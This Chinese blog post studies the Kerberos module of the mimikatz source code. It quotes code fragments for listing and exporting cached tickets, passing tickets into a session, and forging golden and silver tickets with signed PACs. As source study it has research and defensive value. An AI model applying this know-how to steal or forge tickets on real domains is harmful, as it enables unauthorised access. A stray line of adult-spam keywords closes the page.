<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    mimikatz源碼學習-Kerberos模塊

    一顆小胡椒2021-11-15 16:42:10
    mimikatz是內網滲透中的一大利器,本文主要討論學習mimikatz中與Kerberos協議相關的代碼

    mimikatz的Kerberos模塊中常用大概為:

    1、 kerberos::list :列出當前的所有票據(當前用戶所在session,效果等同于命令klist)

    2、kerberos::ptt :Pass The Ticket,即票據傳遞

    3、kerberos::golden :偽造票據,如黃金票據、白銀票據

    LsaCallKerberosPackage

    LsaCallKerberosPackage是ntsecapi.h下的一個API,MSDN對它的描述如下:

    The LsaCallAuthenticationPackage function is used by a logon application to communicate with an authentication package.
    This function is typically used to access services provided by the authentication package.

    大意為這個函數用作登錄程序和身份認證包通信,但通常被用來訪問身份認證包提供的服務。在mimikatz的源碼中列出票據和票據傳遞兩個功能模塊都圍繞這個函數展開,通過傳遞不同的參數得到不同的執行結果。

    函數原型如下:

    NTSTATUS LsaCallAuthenticationPackage(  HANDLE    LsaHandle,   ULONG     AuthenticationPackage, // 提供身份認證的標識符  PVOID     ProtocolSubmitBuffer, // 用于傳遞給身份驗證包的緩沖區  ULONG     SubmitBufferLength,  PVOID     *ProtocolReturnBuffer, // 接收從驗證包返回的數據的緩沖區  PULONG    ReturnBufferLength,  PNTSTATUS ProtocolStatus);
    

    列出票據

    mimikatz的源碼中這個功能對應的代碼比較簡單,只是調用了LsaCallAuthenticationPackage,然后對返回的數據進行解析:

    status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);  if(NT_SUCCESS(status))  {    if(NT_SUCCESS(packageStatus))    {      for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)      {        kprintf(L"[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype (pKerbCacheResponse->Tickets[i].EncryptionType));        kprintf(L"   Start/End/MaxRenew: ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);        kprintf(L"   Server Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i]. ServerRealm);        kprintf(L"   Client Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i]. ClientRealm);        kprintf(L"   Flags %08x    : ", pKerbCacheResponse->Tickets[i].TicketFlags);        kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);
    

    注意到,mimikatz使用LsaCallKerberosPackage對LsaCallAuthenticationPackage做了簡要封裝,實際上省去了前兩個參數,前兩個參數被當作全局變量在初始化時完成賦值,所以這里我們只需要關注函數執行之后返回的數據,代碼中對應為變量pKerbCacheResponse,變量對應的結構體在MSDN中描述如下:

    typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  ULONG                      CountOfTickets;  // 數組Tickets中的票據數量  KERB_TICKET_CACHE_INFO     Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;
    

    其中,結構體KERB_TICKET_CACHE_INFO描述如下,用來描述緩存的Kerberos票據相關信息:

    typedef struct _KERB_TICKET_CACHE_INFO {  UNICODE_STRING ServerName;  UNICODE_STRING RealmName;  LARGE_INTEGER  StartTime;  LARGE_INTEGER  EndTime;  LARGE_INTEGER  RenewTime;  LONG           EncryptionType;  ULONG          TicketFlags;} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;
    

    導出票據時同樣是調用這個API,只是這時我們需要關注用于傳遞請求的參數,即LsaCallAuthenticationPackage的第三個參數ProtocolSubmitBuffer,對應的結構體在MSDN中描述為:

    typedef struct _KERB_RETRIEVE_TKT_REQUEST {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  LUID                       LogonId;  UNICODE_STRING             TargetName; // 目標服務名  ULONG                      TicketFlags; // 用于標記票據用途  ULONG                      CacheOptions; // 搜索緩存的選項,KERB_RETRIEVE_TICKET_AS_KERB_CRED表示以Keberos憑證的形式返回票據  LONG                       EncryptionType;  SecHandle                  CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
    

    對應的,用于接收請求的票據用結構體_KERB_RETRIEVE_TKT_RESPONSE描述,該結構體只包含一個成員結構體KERB_EXTERNAL_TICKET,而這個結構體的成員EncodedTicketSize和EncodedTicket分別為返回的票據大小和票據內容。

    其實不難發現,僅需要查詢緩存中的票據時,使用結構體KERB_QUERY_TKT_CACHE_REQUEST和KERB_QUERY_TKT_CACHE_RESPONSE并且用于請求的結構體變量置零即可;但是想要獲取票據內容時就需要使用結構體KERB_RETRIEVE_TKT_REQUEST和KERB_RETRIEVE_TKT_RESPONSE了,與查詢不同,獲取票據內容時需要在請求中指明請求的類型(MessageType)、搜索緩存的選項(CacheOptions)、票據標志(TicketFlags)、目標服務名(TargetName)。

    不過需要注意的是,結構體成員中UNICODE_STRING對應的是結構體類型,其定義如下:

    typedef struct _UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR  Buffer;} UNICODE_STRING, *PUNICODE_STRING;
    

    所以,對TargetName賦值時,需要單獨的一塊空間存放Buffer對應的值,mimikatz的處理如下:

    szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)).........pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);
    此處的思路是header+content,這樣做可以保證數據在同一塊內存中,避免申請多塊內存。
    

    至此,其實列出緩存中的票據以及導出票據的分析已經結束,但是我們還忽略了兩個參數,即在mimikatz中以全局變量的形式傳入的句柄和身份認證包標識。MSDN的句柄LsaHandle的描述為從與調用函數 LsaRegisterLogonProcess 或 LsaConnectUntrusted獲得,而身份認證包標識是從函數LsaLookupAuthenticationPackage中獲取,mimikatz中的代碼也確實如此:

    NTSTATUS status = LsaConnectUntrusted(&g_hLSA);  if(NT_SUCCESS(status))  {    status = LsaLookupAuthenticationPackage(g_hLSA, &kerberosPackageName, &g_AuthenticationPackageId_Kerberos);    g_isAuthPackageKerberos = NT_SUCCESS(status);
    

    其中,kerberosPackageName為結構體LSA_STRING類型的變量,賦值為MICROSOFT_KERBEROS_NAME_A,指定為ANSI版本的Kerberos身份認證包名稱。

    如果要清空緩存,就需要用到結構體_KERB_PURGE_TKT_CACHE_REQUEST了,它描述了想要刪除的緩存票據的信息,在MSDN中的定義如下:

    typedef struct _KERB_PURGE_TKT_CACHE_REQUEST {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  LUID                       LogonId;  UNICODE_STRING             ServerName;  UNICODE_STRING             RealmName;} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;
    

    其中需要注意的是第一個成員(MessageType),必須設置為KerbPurgeTicketCacheMessage。

    票據傳遞

    票據傳遞部分同樣是使用LsaCallAuthenticationPackage,只不過這次使用的結構體是KERB_SUBMIT_TKT_REQUEST,在NTSecAPI.h中對該結構體的定義如下:

    typedef struct _KERB_SUBMIT_TKT_REQUEST {    KERB_PROTOCOL_MESSAGE_TYPE MessageType;    LUID LogonId;    ULONG Flags;    KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED    ULONG KerbCredSize;    ULONG KerbCredOffset;} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;
    

    關于這個結構體的描述在MSDN中似乎沒有發現,不過根據其他結構體和字段的命名不難猜測相應字段的含義。對比mimikatz源碼來看其實只需要設置三部分內容,一是MessageType,這里需要設置為固定內容:KerbSubmitTicketMessage;剩下的兩部分內容即票據對應的大小和位置(因為票據數據是追加在結構體后的,所以這里偏移是結構體的大小),設置完之后調用函數LsaCallAuthenticationPackage即可完成票據傳遞:

    submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)){  pKerbSubmit->MessageType = KerbSubmitTicketMessage;  pKerbSubmit->KerbCredSize = dataSize;  pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);  RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);
      status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
     
    

    偽造票據

    mimikatz中描述票據的結構體定義如下:

    typedef struct _KIWI_KERBEROS_TICKET {  PKERB_EXTERNAL_NAME  ServiceName;  LSA_UNICODE_STRING   DomainName;  PKERB_EXTERNAL_NAME  TargetName;  LSA_UNICODE_STRING   TargetDomainName;  PKERB_EXTERNAL_NAME  ClientName;  LSA_UNICODE_STRING   AltTargetDomainName;
      LSA_UNICODE_STRING Description;
      FILETIME StartTime;  FILETIME EndTime;  FILETIME RenewUntil;
      LONG  KeyType;  KIWI_KERBEROS_BUFFER  Key;
      ULONG  TicketFlags;  LONG   TicketEncType;  ULONG  TicketKvno;  KIWI_KERBEROS_BUFFER  Ticket;} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;
    

    從結構體定義其實可以看出ticket所包含的內容,在Kerberos認證中,以AS-REP為例,我們知道AS返回給用戶兩部分內容: 一是TGT,二是使用用戶密碼hash加密的session key。其中,TGT包含了session key(登錄會話密匙)、失效時間以及pac信息(特權屬性證書)等內容,不過在mimikatz中pac信息是單獨生成的,所以上述的結構體定義中并不包含這部分內容。

    從生成票據的代碼流程來看,生成TGT和TGS的代碼基本一致,最后會生成哪種票據取決于傳遞的參數,比如TGT需要krbtgt的哈希而TGS需要請求的服務。代碼中生成票據的代碼主要是函數kuhl_m_kerberos_golden_data,首先根據傳入的參數完成上述定義的ticket結構體的初始化,然后根據是否傳入sid來決定是否生成簽名的pac:

    if(sid) // we want a PAC !{  if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))  {    if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))    {      kprintf(L" * PAC generated");      status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);      if(NT_SUCCESS(status))        kprintf(L" * PAC signed");    }  }}
    

    隨后就是生成對應的ticket,詳細來講就是先按照固定格式生成要加密的內容,然后對這部分內容加密,最后返回加密的結果。對于加密部分,圍繞一個重要函數:CDLocateCSystem,他第二個參數傳入的是結構體,這個結構體包含了指向加解密函數的指針等信息,定義如下:

    typedef struct _KERB_ECRYPT {  ULONG EncryptionType;  ULONG BlockSize;  ULONG ExportableEncryptionType;  ULONG KeySize;  ULONG HeaderSize;  ULONG PreferredCheckSum;  ULONG Attributes;  PCWSTR Name;  PKERB_ECRYPT_INITIALIZE Initialize;  PKERB_ECRYPT_ENCRYPT Encrypt;  PKERB_ECRYPT_DECRYPT Decrypt;  PKERB_ECRYPT_FINISH Finish;  union {    PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;    PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;  };  PKERB_ECRYPT_RANDOMKEY RandomKey;  PKERB_ECRYPT_CONTROL Control;  PVOID unk0_null;  PVOID unk1_null;  PVOID unk2_null;} KERB_ECRYPT, *PKERB_ECRYPT;
    

    CDLocateCSystem是Windows的一個API,位于cryptdll.dll,但粗略的搜索了一下并沒有相關說明,似乎微軟并未公開它,不過根據上述結構體以及dll文件,可以大概分析猜測這個api的作用。cryptdll.dll這個文件的導出函數并不多,而且可以大概猜測函數可能的功能:

    導入上述定義的結構體,查看CDLocateCSystem對應的偽代碼,發現這個函數其實就是通過傳入的type從鏈表中尋找對應的塊:

    再接著跟一下變量cCSystems, 可以發現只有以后函數對這個變量有賦值操作,跟到函數CDRegisterCSystem,發現這個函數實際上是通過傳入的參數對變量賦值:

    再看這個函數的調用處,發現注冊了一系列的密碼算法:

    繼續分析可以發現LibAttach在DllMain中被調用,也就是說這個dll文件一被加載,就會注冊各種密碼學算法,供相關API使用,所以代碼中調用CDLocateCSystem的目的是根據傳入的eType獲取一個用于eType對應類型的密碼算法的實現,進而完成相應的加密或解密操作。根據結構體的成員定義以及mimikatz中相關的加密代碼,可以猜測cryptdll中注冊的密碼學算法,使用方法基本一致,主要有一下流程:

    1. 通過CDLocateCSystem獲取對應的結構體數據。
    2. 初始化操作(包括設置密鑰、加解密數據大小等)。
    3. 加解密操作。
    4. 銷毀相關環境。

    回到正題,生成加密的ticket信息后,“格式化”票據信息生成票據,然后將票據寫入緩存或者文件。

    整個票據的生成流程大致如上所述,不過整個過程忽略了兩個地方:一是PAC是如何生成的;二是加密票據前后調用的兩個函數kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred。

    PAC生成流程

    PAC生成大體上分三個部分,也分別對應三個函數:

    1、生成驗證信息:kuhl_m_pac_infoToValidationInfo

    2、生成PAC:kuhl_m_pac_validationInfo_to_PAC

    3、PAC簽名:kuhl_m_pac_signature

    對于第一部分,可以透過結構體PKERB_VALIDATION_INFO來分析生成驗證信息需要的內容,結構體的定義如下:

    typedef struct _KERB_VALIDATION_INFO {  FILETIME LogonTime;  FILETIME LogoffTime;  FILETIME KickOffTime;  FILETIME PasswordLastSet;  FILETIME PasswordCanChange;  FILETIME PasswordMustChange;  RPC_UNICODE_STRING EffectiveName;  RPC_UNICODE_STRING FullName;  RPC_UNICODE_STRING LogonScript;  RPC_UNICODE_STRING ProfilePath;  RPC_UNICODE_STRING HomeDirectory;  RPC_UNICODE_STRING HomeDirectoryDrive;  USHORT LogonCount;  USHORT BadPasswordCount;  ULONG UserId;  ULONG PrimaryGroupId;  ULONG GroupCount;  /* [size_is] */ PGROUP_MEMBERSHIP GroupIds;  ULONG UserFlags;  USER_SESSION_KEY UserSessionKey;  RPC_UNICODE_STRING LogonServer;  RPC_UNICODE_STRING LogonDomainName;  PISID LogonDomainId;  ULONG Reserved1[ 2 ];  ULONG UserAccountControl;  ULONG SubAuthStatus;  FILETIME LastSuccessfulILogon;  FILETIME LastFailedILogon;  ULONG FailedILogonCount;  ULONG Reserved3;  ULONG SidCount;  /* [size_is] */ PKERB_SID_AND_ATTRIBUTES ExtraSids;  PISID ResourceGroupDomainSid;  ULONG ResourceGroupCount;  /* [size_is] */ PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;
    

    關于結構體中的幾個和時間相關的成員,其實只需要關注LogonTime,它由傳入的結構體變量lifeTimeData中的TicketStart成員賦值,后者的數據內容通過GetSystemTimeAsFileTime獲得,這個msdn對這個API的解釋為:獲取當前系統的時間。當然,最后賦值給LogonTime的值是處理之后的值。而對于剩余的和時間相關的成員,統一賦值為0x7fffffffffffffffll。

    GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);
    

    此外,UserId、GroupIds、GroupCount等成員實際上是從命令行參數獲得,但通常情況下生成票據我們似乎并沒有用到這些參數,所以傳入的值實際上是NULL。

    獲取到驗證信息之后,就根據這些信息生成APC,PAC的總體結構如下:

    關于PAC結構的代碼如下:

    (*pacType)->cBuffers = n;(*pacType)->Version = 0;
    (*pacType)->Buffers[0].cbBufferSize = szLogonInfo;(*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;(*pacType)->Buffers[0].Offset = offsetData;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, (*pacType)->Buffers[0].cbBufferSize);
    (*pacType)->Buffers[1].cbBufferSize = szClientInfo;(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);
    if(szClaimsAligned){  (*pacType)->Buffers[2].cbBufferSize = szClaims;  (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;  (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;  RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);}
    (*pacType)->Buffers[n - 2].cbBufferSize = szSignature;(*pacType)->Buffers[n - 2].ulType = PACINFO_TYPE_CHECKSUM_SRV;(*pacType)->Buffers[n - 2].Offset = (*pacType)->Buffers[n - 3].Offset + SIZE_ALIGN((*pacType)->Buffers[n - 3].cbBufferSize, 8);RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
    (*pacType)->Buffers[n - 1].cbBufferSize = szSignature;(*pacType)->Buffers[n - 1].ulType = PACINFO_TYPE_CHECKSUM_KDC;(*pacType)->Buffers[n - 1].Offset = (*pacType)->Buffers[n - 2].Offset + szSignatureAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 1].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
    

    其中,第一部分(pLogonInfo)即對kuhl_m_pac_infoToValidationInfo的結果進行加密操作后的內容,這里加密實際上是調用的kull_m_rpc_Generic_Encode,不過實際上最后的加密調用了NdrMesTypeEncode2,它是midles.h下的一個函數。

    關于客戶端信息(ClientInfo),首先需要明確的是這部分內容是明文信息,主要內容為用戶名。Cliams其實也是加密的數據,是否包含這部分內容取決于是否傳入參數Claims,顯然通常情況下我們并沒有傳入這一項,所以這里不再繼續跟進。

    至此,PAC的主體已經說明結束,剩余兩部分保存的是主體部分的校驗和。計算校驗和使用的是CDLocateCheckSum,這個API來自cryptdll.dll,用法和CDLocateCSystem類似。

    兩個函數

    其實kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred都是圍繞兩個結構體展開的即:

    typedef struct berElement {  UNICODE PTCHAR opaque; } BerElement;
    typedef struct berval {  ULONG bv_len;  UNICODE PTCHAR bv_val;} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL;
    

    涉及到這兩個結構體的函數位于winber.h,不過對于前面提到的兩個函數,我們們只需要關注兩個函數:

    1、ber_printf,顧名思義,其實就是用來格式化數據的,mimikatz中的kull_m_asn1_GenTime其實也是對該函數的封裝

    2、ber_flatten,MSDN的解釋是從BerElement結構中獲取數據保存到一個berval結構中,換句話說其實也就是對數據的進一步“格式化”

    關于頭文件winber.h,其實MSDN上也說明了是用于LDAP的,因為AD域是基于LDAP的,所以這里對數據的一些“格式化”操作也是事出有因。
    此外,使用這個頭文件時還需引入windows.h和winldap.h,并且添加依賴項:wldap32.lib(#pragma comment(lib,"wldap32.lib"))

    當然,分析這兩個函數的主要目的并不它實現了什么樣的功能,而是透過這個功能(對數據“格式化”)得知票據的加密部分的內容構成,以及最后得到的票據內容構成。

    首先看加密部分的內容構成,其實從函數傳入的參數來看,這部分應該包含了整個票據的所有信息,因為函數kuhl_m_kerberos_ticket_createAppEncTicketPart獲取的參數是記錄票據信息的結構體數據和pac信息,查看函數的實現部分其實和猜想大差不差:按照固定的順序將域名、用戶名、生成/失效時間等信息通過ber_printf寫入到BerElement類型的變量隨后通過ber_flatten得到最終需要加密的數據格式(存儲到結構體berval類型的變量中),并返回給調用者。

    透過mimikatz的代碼,其實可以看出要加密的內容大體的格式:

    ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));kull_m_asn1_GenTime(pBer, &ticket->EndTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */if(PacAuthData && PacAuthDataSize){  ber_printf(pBer, "t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA));  if(pBerPac = ber_alloc_t(LBER_USE_DER))  {    ber_printf(pBerPac, "{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), PacAuthData, PacAuthDataSize);    if(ber_flatten(pBerPac, &pBerValPac) >= 0)      ber_printf(pBer, "o", pBerValPac->bv_val, pBerValPac->bv_len);    ber_free(pBerPac, 1);  }  ber_printf(pBer, "}}}}");}ber_printf(pBer, "}}");
    這里值得注意的是PAC信息是作為一個可選項加入到要加密內容的尾部的,而是否包含PAC信息取決于生成票據時是否傳入SID。對于最后載入緩存或寫入文件的內容,即kuhl_m_kerberos_ticket_createAppKrbCred的返回值也是通過同樣的形式構造數據,最后調用ber_flatten生成berval結構的數據。
    
    函數調用結構體類型
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    Go:Channel使用模式
    2022-07-20 11:05:42
    有幾種重要的channel模式需要理解,因為channel實現了Goroutine之間的通信。等待結果模式這是channel的基本使用模式,創建一個goroutine來執行任務,然后將執行結果通過channel通知到對應的其他Goroutine。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    從補丁可以認識一個漏洞的觸發源。 查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    target_func: sark.Function 類型,表示要查找交叉引用關系的目標函數對象。max_depth: int 類型,表示查找引用關系的最大深度。② 然后根據 include_data_xref 的設置,獲取該函數中所有的引用 refes。③ 遍歷函數的所有引用 ref,如果該引用 ref 指向目標函數,則在有向圖 G 中通過 add_edge 函數添加一條從當前函數到目標函數的邊,并返回 True。④ 如果引用指向另一個函數,則遞歸調用 find_cross_refs 函數查找兩個函數之間的交叉引用關系。⑤ 如果所有引用遍歷完,仍然沒有找到交叉引用,則返回 False。
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    通過使用根據給定語法執行突變的庫來啟用結構感知模糊測試,進而達成更細致化模糊數據處理的第三方組件,一般由模糊測試人員自己開發編寫。對于xml等固定文件格式的testcase時就需要編寫mutator進行精細化fuzzing。總的來說是調用了lxml來編寫xml型的mutator:from?
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类